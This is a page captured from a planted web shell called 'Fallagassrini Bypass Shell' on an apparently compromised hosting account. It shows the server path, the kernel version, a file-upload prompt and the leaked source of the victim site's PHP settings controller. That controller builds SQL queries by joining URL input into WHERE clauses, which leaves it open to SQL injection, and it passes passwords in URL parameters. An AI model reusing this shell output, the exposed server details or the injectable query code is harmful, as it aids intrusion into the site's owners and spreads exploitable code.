? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/piadraft/system/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/piadraft/system/application/controllers/settings.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php

class Settings extends BaseController {

    function Settings()
    {
         parent::BaseController();
         $this->load->model('settingsmodel');
		$this->load->model('mastermodel');
                $this->load->model('accountingsmodel');
                $this->load->model('hrmodel');
    }

    function index()
    {
        
    }
    
    function insertrole()
    {
        $this->settingsmodel->insertrolemodel();
    }


     function insertreminder()
       {
	     $res=$this->settingsmodel->AddReminder();
	     if($res>=1)
		{
			echo "Reminder Added Sucessfully";
		}
        }

    function deletereminder($table,$id,$pageno=1)
        {



           try
               {
                $res=$this->mastermodel->deletedata($table,$id);;

                if($res!=1)
                {
                throw new Exception("Error");
                }
                 //$this->index($menu, '8');
               }

               catch(Exception $exception)
               {

                //$this->index($menu, '8');
               $this->load->view('Master/checkexist');

               }

        }
    function deleteschedule($table,$id,$pageno=1)
        {

              try
               {
                $res=$this->mastermodel->deletedata($table,$id);;

                if($res!=1)
                {
                throw new Exception("Error");
                }
                // $this->index($menu, '8');
               }

               catch(Exception $exception)
               {

               // $this->index($menu, '8');
               $this->load->view('Master/checkexist');

               }
             
        }
    function deleteevents($table,$id,$pageno=1)
        {
              try
               {
                $res=$this->mastermodel->deletedata($table,$id);;

                if($res!=1)
                {
                throw new Exception("Error");
                }
                 //$this->index($menu, '8');
               }

               catch(Exception $exception)
               {

                //$this->index($menu, '8');
               $this->load->view('Master/checkexist');

               }
        }
    function addremindpage()
         {
            $this->load->view('Settings/addreminder');
         }
    function addschedulepage()
         {
            $this->load->view('Settings/addschedule');
         }
    function addactivitypage()
         {
            $data['users']=$this->settingsmodel->ListUsersModel();

            $this->load->view('Settings/addactivity',$data);
         }
    function viewremind($pageno=1,$field,$value='')
        {
            $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
               if($field == 'remind_date')
                          {
                          $value=$this->mastermodel->convdatformat($value);
                             }
                             else if($field == 'all')
                             {
                              $field='remind_name';
                              $value='%';
                             }
             $data['remlist']=$this->settingsmodel->GetReminder($pageno,$field,$value);
            // $data['remlist']=$this->mastermodel->Get_today_reminder();
           
             $data['currpage']=$pageno;
             $data['totrecord']=$this->settingsmodel->count_alls('reminder',$field,$value);
             $data['field1']=$field;
             $data['text']=$value;
             $this->load->view('Settings/reminderpage',$data);
        }
        function viewremind1($pageno=1,$field,$value='')
        {

            echo "uytiyi";
            $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
           
             $data['remlist']=$this->mastermodel->Get_today_reminder();
             $data['currpage']=$pageno;
             $data['totrecord']=$this->settingsmodel->count_alls('reminder',$field,$value);
             $data['field1']=$field;
             $data['text']=$value;
             $this->load->view('Settings/todayreminderpage',$data);
        }
    function viewactivity($pageno=1,$field,$value="")
        {

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);

                      if($field == 'startdate' || $field == 'enddate')
                          {
                          $value=$this->mastermodel->convdatformat($value);
                             }
                            else if($field== 'all')
                             {
                              $field='eventname';
                              $value='%';
                             }
             $data['eventslist']=$this->settingsmodel->Getevents($pageno,$field,$value);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$value;
             $data['totrecord']=$this->settingsmodel->count_alls('events',$field,$value);
           
             $this->load->view('Settings/activitypage',$data);

        }
    function viewschedulde($pageno=1,$field,$value="")
        {


       
        $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             if($field == 'date')
                          {
                          $value=$this->mastermodel->convdatformat($value);
                             }
                            else if($field== 'all')
                             {
                              $field='policy_id';
                              $value='%';
                             }
                             else if ($field=='policy_no')
                             {
                               
                              $value= $this->customermodel->getSingleFieldValue('policynote','id','policyno',$value);
                           $field='policy_id';
                              
                              }
             $data['schlist']=$this->settingsmodel->Getschedule($pageno,$field,$value);
             $data['currpage']=$pageno;
             $data['field2']=$field;
             $data['text']=$value;
             $data['totrecord']=$this->settingsmodel->count_alls('activities',$field,$value);
             $this->load->view('Settings/schedulepage',$data);
        }


        function searchschedulde($pageno=1,$field,$value="")
        {



        $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             if($field == 'date')
                          {
                     $field='activities.date';
                     $value=$this->mastermodel->convdatformat($value);
                      $where="where ". $field." like '".$value."%'";
                             }
                            else if($field== 'all')
                             {
                              $field='policynote.id';
                              $value='';
                               $where="where ". $field." like '".$value."%'";
                             }
                             else if($field== 'insured')
                             {
                                $where="where (customer_personal_ind.insured like '".$value."%' or customer_corp_info.insured like '".$value."%' )";
                             }
                             else
                             {
                               $where="where ". $field." like '".$value."%'";
                             }
                             
                             //echo $where;
                           
             $data['schlist']=$this->settingsmodel->searchschedule($pageno,$where);
             $data['currpage']=$pageno;
             $data['field2']=$field;
             $data['text']=$value;
             $data['totrecord']=$this->settingsmodel->count_allsche('activities',$where);
             $this->load->view('Settings/schedulepage',$data);
        }





    function updatereminder()
	{
            $pageno=$this->input->post('pageno');
            $field=$this->input->post('field');
            $text=$this->input->post('text');

	    if($pageno=="")
		{
			$pageno=1;
		}

            $this->settingsmodel->updatereminder();
            $data['reminderlist']=$this->settingsmodel->GetReminder($pageno,$field,$text);
            $data['totrecord']=$this->settingsmodel->count_alls('reminder',$field,$text);
            $data['currpage']=$pageno;
            $data['field1']=$field;
            $data['text']=$text;
            $this->load->view('Settings/reminderpage',$data);
	}
   function updateschedule()
	{
		$pageno=$this->input->post('pageno');
                $field=$this->input->post('field');
                $text=$this->input->post('text');
               
                    if($pageno=="")
                    {
                            $pageno=1;
                    }

		$this->settingsmodel->updateschedule();
		$data['schlist']=$this->settingsmodel->Getschedule($pageno,$field,$text);
		$data['totrecord']=$this->settingsmodel->count_alls('activities',$field,$text);
		$data['currpage']=$pageno;
                $data['field2']=$field;
                $data['text']=$text;
		$this->load->view('Settings/schedulepage',$data);
               
	}
     function updateevents()
	{
		$pageno=$this->input->post('pageno');
                $field=$this->input->post('field');
                $text=$this->input->post('text');   
		if($pageno=="")
                    {
                            $pageno=1;
                    }

		$this->settingsmodel->updateevents();
		$data['eventslist']=$this->settingsmodel->Getevents($pageno,$field,$text);
		$data['totrecord']=$this->settingsmodel->count_alls('events',$field,$text);
		$data['currpage']=$pageno;
                $data['field']=$field;
                $data['text']=$text;
		$this->load->view('Settings/activitypage',$data);
	}
     function Get_editreminder_data($id,$pageno,$field,$text="")
        {
           //the argument pageno is current page no and  id is reminder id
             $data['editreminder']=$this->settingsmodel->Get_editreminder_data($id);
             $data['currpage']=$pageno;
             $data['field1']=$field;
             $data['text']=$text;
             $this->load->view('Settings/edit-reminder-page',$data);

        }

     function Get_editschedule($id,$pageno,$field,$text="")
        {
           //the argument pageno is current page no and  id is reminder id
             $data['editschedule']=$this->settingsmodel->Get_editschedule($id);
             $data['currpage']=$pageno;
             $data['field2']=$field;
             $data['text']=$text;
             $this->load->view('Settings/editschedule',$data);

        }
         function Get_viewschedule($id,$pageno,$field,$text="")
        {
           //the argument pageno is current page no and  id is reminder id
             $data['editschedule']=$this->settingsmodel->Get_editschedule($id);
             $data['currpage']=$pageno;
             $data['field2']=$field;
             $data['text']=$text;
             $this->load->view('Settings/viewschedule',$data);

        }
     function Get_activity_data($id,$pageno,$field,$uid,$text="")
        {
           //the argument pageno is current page no and  id is reminder id
         // echo 'ud='. $id . ' pageno='. $pageno . ' field='. $field . ' $uid='. $uid . ' text='. $text;
             $data['editevents']=$this->settingsmodel->Get_activity_data($id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $data['users']=$this->settingsmodel->ListUsersModel();
             $data['singleuser']=$this->settingsmodel->GetSingleUserModel($uid);
             $this->load->view('Settings/editactivity',$data);

        }
        function Get_viewactivity_data($id,$pageno,$field,$uid="",$text="")
        {
           //the argument pageno is current page no and  id is reminder id
         // echo 'ud='. $id . ' pageno='. $pageno . ' field='. $field . ' $uid='. $uid . ' text='. $text;
             $data['editevents']=$this->settingsmodel->Get_activity_data($id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $data['users']=$this->settingsmodel->ListUsersModel();
             $data['singleuser']=$this->settingsmodel->GetSingleUserModel($uid);
             
             $this->load->view('Settings/viewactivity',$data);

        }
      function insertschedule()
       {
        
		$res=$this->settingsmodel->Addschedule();
		if($res>=1)
		{
			echo "Schedule Added Sucessfully";
		}
        }
    function insertevents()
       {

		$res=$this->settingsmodel->Addevents();
		if($res>=1)
                    {
                            echo "Events Added Sucessfully";
                    }
        }
                 
    function ListUsers()
    {
        $data['userlist']=$this->settingsmodel->ListUsersModel();
        $this->load->view('Settings/userlist',$data);
    }
    
    function ListUsersSearch($searchoption,$value="")
    {
        $data['userlist']=$this->settingsmodel->ListUsersSearchModel($searchoption,$value);
        $this->load->view('Settings/userlist',$data);
    }
    
    
    function InsertUsersControler()
    {
        $this->settingsmodel->InsertUsersModel();
        
    // $this->mastermodel->index('58', '8');
        
    }
    
    function UpdateUsersControler()
    {
        $this->settingsmodel->UpdateUsersModel();
    }
    
    function UpdateRoleControler()
    {           
        $this->settingsmodel->UpdateRoleModel();
    }
    
    
    
    function show_add_user_form()
    {
        $this->load->view('Settings/new_user');
    }
    
    function show_add_role_form()
    {
        $data['designation']=$this->mastermodel->view('designation');
         $this->load->view('Settings/new_role',$data);
    }
    
    function change_pass_controler($uid,$oldpass,$newpass)
    {
        $data['userlist']=$this->settingsmodel->change_Pass_Model($uid,$oldpass,$newpass);
    }


    function change_Pass_Without_old_Controler($uid,$newpass)
    {
        $data['userlist']=$this->settingsmodel->change_Pass_Without_old_model($uid,$newpass);
    }
    
    function delete_user_controler($id)
    {
       
        $this->settingsmodel->delete_user_model($id);
        $data['userlist']=$this->settingsmodel->ListUsersModel();
        $this->load->view('Settings/userlist',$data);
    }
    
    function delete_role_controler($id)
    {
       
        $this->settingsmodel->delete_role_model($id);
        $data['userlist']=$this->settingsmodel->ListRolesModel();
        $this->load->view('Settings/role_list',$data);
    }
    
    function GetSingleUserControler($id)
    {
        $data['userdetails']=$this->settingsmodel->GetSingleUserModel($id);
        $this->load->view('Settings/edit_user',$data);
    }
    function GetSingleUserControler1($id)
    {
        $data['userdetails']=$this->settingsmodel->GetSingleUserModel($id);
        $this->load->view('Settings/viewedit_user',$data);
    }
    
    function GetSingleRoleControler($id)
    {
        $data['designation']=$this->mastermodel->view('designation');
        $data['userdetails']=$this->settingsmodel->GetSingleRoleModel($id);
        $this->load->view('Settings/edit_role',$data);
    }
    
    function ListUserPermissionControler($id)
    {
        $data['userdetails']=$this->settingsmodel->GetSingleRoleModel($id);
        $this->load->view('Settings/list_user_permission',$data);
    }
    
    function ListUserPermissionByuserIdControler($id)
    {
          $data['roles']= $this->customermodel->getSingleFieldValue('users','role_id','id',$id);
        $data['userdetails']=$this->settingsmodel->GetSingleRoleByUserIdModel($id);
        $this->load->view('Settings/list_user_permission',$data);
    }
    
    function ViewUserPermissionByuserIdControler($id)
    {
        $data['userdetails']=$this->settingsmodel->GetSingleRoleByUserIdModel($id);
        $this->load->view('Settings/view_user_permission',$data);
    }
 function GetRolefromCid($id,$eid)
    {

        $id=str_replace("~"," ",$id);
        $id=str_replace("_","/",$id);
        $ids= $this->customermodel->getSingleFieldValue('designation','id','designation',$id);
        $data['roles']= $this->customermodel->getSingleFieldValue('user_roles','id','name',$ids);
        $data['userdetails']=$this->settingsmodel->GetRolefromCid($ids);
         $data['username']=$this->mastermodel->checkexistence('users','staff_id',$eid);
        if(count($data['userdetails'])==0)
        {
            echo "1";
        }
        else if($data['username']>0)
        {
            echo "2";
        }
        else
        {
            $this->load->view('Settings/list_user_permission',$data);
        }
    }


    function ViewRoleControler($id)
    {
        $data['userdetails']=$this->settingsmodel->GetSingleRoleModel($id);
        $this->load->view('Settings/view_role',$data);
    }
    
    function ListRoles()
    {
	$data['userlist']=$this->settingsmodel->ListRolesModel();
        $this->load->view('Settings/role_list',$data);
    }

    function SearchRoles($value="")
    {
	$data['userlist']=$this->settingsmodel->SearchRolesModel($value);
        $this->load->view('Settings/role_list',$data);
    }
	

    function viewcurrency($pageno=1,$field,$value='')
        {
             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['curlist']=$this->settingsmodel->Getcurrency($pageno,$field,$value);
             $data['currpage']=$pageno;
             $data['totrecord']=$this->settingsmodel->count_alls('country',$field,$value);
             $data['field3']=$field;
             $data['text']=$value;
             $data['currenid']=$this->settingsmodel-> GetCurrencyId();
             $this->load->view('Settings/currencypage',$data);
        }
     function insertcurrency($id,$pageno=1,$field,$value='')
     {
     
         $this->settingsmodel->updatecurrency($id);
         $data['curlist']=$this->settingsmodel->Getcurrency($pageno,$field,$value);
         $data['totrecord']=$this->settingsmodel->count_alls('country',$field,$value);
         $data['currpage']=$pageno;
         $data['text']=$value;
         $data['field3']=$field;
         $data['currenid']=$this->settingsmodel-> GetCurrencyId();
         $this->load->view('Settings/currencypage',$data);
     }
     function profileget($eid)
     {
         $data['pid']=$this->settingsmodel-> profileget($eid);
         print_r($data);
         return $data;
     }


       function viewfiscal($pageno=1,$field,$value="")
        {

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);

                      if($field == 'begin' || $field == 'end')
                          {
                          $value=$this->mastermodel->convdatformat($value);
                             }
                            else if($field== 'all')
                             {
                              $field='closed';
                              $value='%';
                             }
             $data['fiscallist']=$this->settingsmodel->Getfiscal($pageno,$field,$value);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$value;
             $data['totrecord']=$this->settingsmodel->count_alls('fiscal_year',$field,$value);

             $this->load->view('Settings/fiscalpage',$data);

        }

   function addfiscalpage()
         {
            $data['users']=$this->settingsmodel->ListUsersModel();

            $this->load->view('Settings/addfiscal',$data);
         }
   function insertfiscal()
       {

		$res=$this->settingsmodel->Addfiscal();
		if($res>=1)
                    {
                            echo "Fiscal Year Added Sucessfully";
                    }
        }

  function updatefiscal()
       {

		$res=$this->settingsmodel->updatefiscal();
                
		if($res>=1)
                    {
                            echo "Fiscal Year Updated Sucessfully";
                    }
        }
 function fiscal_date($sdate,$edate)
        {

   
     return  $res=$this->settingsmodel->validatefiscaldate($sdate,$edate);
        }

  function Get_fiscal_data($id,$pageno,$field,$text="")
        {
           //the argument pageno is current page no and  id is reminder id
         // echo 'ud='. $id . ' pageno='. $pageno . ' field='. $field . ' $uid='. $uid . ' text='. $text;
             $data['editfiscal']=$this->settingsmodel->Get_fiscal_data($id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
          
             $this->load->view('Settings/editfiscal',$data);

        }

   function deletefiscal($table,$id,$pageno=1)
        {
              
                $res=$this->settingsmodel->deletefyear($table,$id);;

              

              
        }
        function checkexistence($table,$field,$value)
        {
            if($this->mastermodel->checkexistence($table,$field,$value)>0)
            {
                echo 1;
            }
        }
          function viewmainacc_settings()
        {


            $data['acc_setting']=$this->settingsmodel->Getmainacc_settings('data');
            $this->load->view('Settings/viewmainacc_setting',$data);

        }
            function countmainacc_settings()
        {


            $data=$this->settingsmodel->Getmainacc_settings('count');
           echo $data;

        }
        function addmainacc_settings()
        {
                 $this->load->view('Settings/add_mainacc_settings');


        }
         function insertmainacc_settings()
        {
            $res=$this->settingsmodel->add_mainacc_settings();
	     if($res>=1)
		{
			echo "Settings Added";
		}
        }
         function Get_editmainacc_setting($id)
        {


             $data['id']=$id;
             $this->load->view('Settings/editmainacc_setting',$data);

        }
          function updatemainacc_settings()
        {

            $res=$this->settingsmodel->updatemainacc_settings();
	     if($res>=1)
		{
			echo "Updated Successfully";
		}
        }


        function chekunpostedtransaction()
        {
             $res=$this->settingsmodel->chekunpostedtransaction();
             echo $res;
        }

}

/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net